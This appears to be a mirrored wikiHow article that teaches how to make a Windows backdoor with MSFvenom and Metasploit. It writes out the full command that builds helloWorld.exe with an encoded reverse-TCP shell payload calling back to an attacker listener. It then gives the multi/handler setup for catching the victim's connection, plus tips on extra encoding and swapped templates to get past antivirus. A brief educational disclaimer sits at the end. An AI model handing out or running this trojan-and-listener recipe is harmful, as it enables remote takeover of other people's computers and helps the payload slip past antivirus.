Download ArticleDownload ArticleHow.com.vn is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, volunteer authors worked to edit and improve it over time.
This article has been viewed 121,883 times.
Learn more...
A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it's possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you'll learn more about computer security and how this kind of backdoor works.
Steps
Download Article
Start up Kali and fire up the Terminal console.
Type ifconfig to display the interface and check your IP address.Advertisement
Type msfvenom -l encoders to show the list of encoders.- You will use x86/shikata_ga_nai as the encoder.
Type "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe > helloWorld.exe- -a x86 --platform windows designates architecture to use.
- -p windows/shell/reverse_tcp designates the payloads to embed.
- LHOST designates the listener IP address.
- LPORT designates the listener port.
- -b "\x00" designates to avoid bad character (null bytes).
- -e x86/shikata_ga_nai designates the encoders name.
- -f exe > helloWorld.exe designates format output.
Type msfconsole to activate the Metasploit.- Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
Type use exploit/multi/handler.
Type set payload windows/shell/reverse_tcp.
Type show options to check the module.
Type set LHOST 192.168.48.129.- "LHOST" designates the listener IP address.
Type set LPORT 4444.- "LPORT" designates the listener port.
Type run and wait for the connection from victim's machine.
Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim's machine.
Community Q&A
- QuestionWhat do I do if an error pops up when creating the exploit?
MOHMMD ELFACommunity AnswerMake sure you did everything correctly and try again. Make sure your are running Kali Linux.
Tips
- Using -i <numbers> in MSFvenom will represent the iterations the encoding. Sometimes more iterations may help to evade the AV software.Thanks
- You have learned how to generate the backdoor and encoded by using MSFvenom, but this method will not work perfectly against some of the AV software nowadays. The reason behind this is because of the execution templates in MSFvenom. The AV vendors have added the static signature of these templates and just look for them. The solution for this issue is to use a different execution template or different tools.Thanks
Warnings
- This article is for educational purpose only. Hacking without authorization or permission is unethical and often illegal.Thanks
Things You'll Need
- Kali Linux
- Windows
- Virtual machine
- VirtualBox
- VMware
References
- OCCUPYTHEWEB. Metasploit for the Aspiring Hacker, Part 5 (Msfvenom). from http://null-byte.wonderhowto.com/how-to/hack-like-pro-metasploit-for-aspiring-hacker-part-5-msfvenom-0159520/
- thelightcosine. The Odd Couple: Metasploit and Antivirus Solutions (Dec 13, 2012). from https://community.rapid7.com/community/metasploit/blog/2012/12/14/the-odd-couple-metasploit-and-antivirus-solutions
About This Article
Is this article up to date?
⚠️ Disclaimer:
Content from Wiki How English language website. Text is available under the Creative Commons Attribution-Share Alike License; additional terms may apply.
Wiki How does not encourage the violation of any laws, and cannot be responsible for any violations of such laws, should you link to this domain, or use, reproduce, or republish the information contained herein.
- - A few of these subjects are frequently censored by educational, governmental, corporate, parental and other filtering schemes.
- - Some articles may contain names, images, artworks or descriptions of events that some cultures restrict access to
- - Please note: Wiki How does not give you opinion about the law, or advice about medical. If you need specific advice (for example, medical, legal, financial or risk management), please seek a professional who is licensed or knowledgeable in that area.
- - Readers should not judge the importance of topics based on their coverage on Wiki How, nor think a topic is important just because it is the subject of a Wiki article.
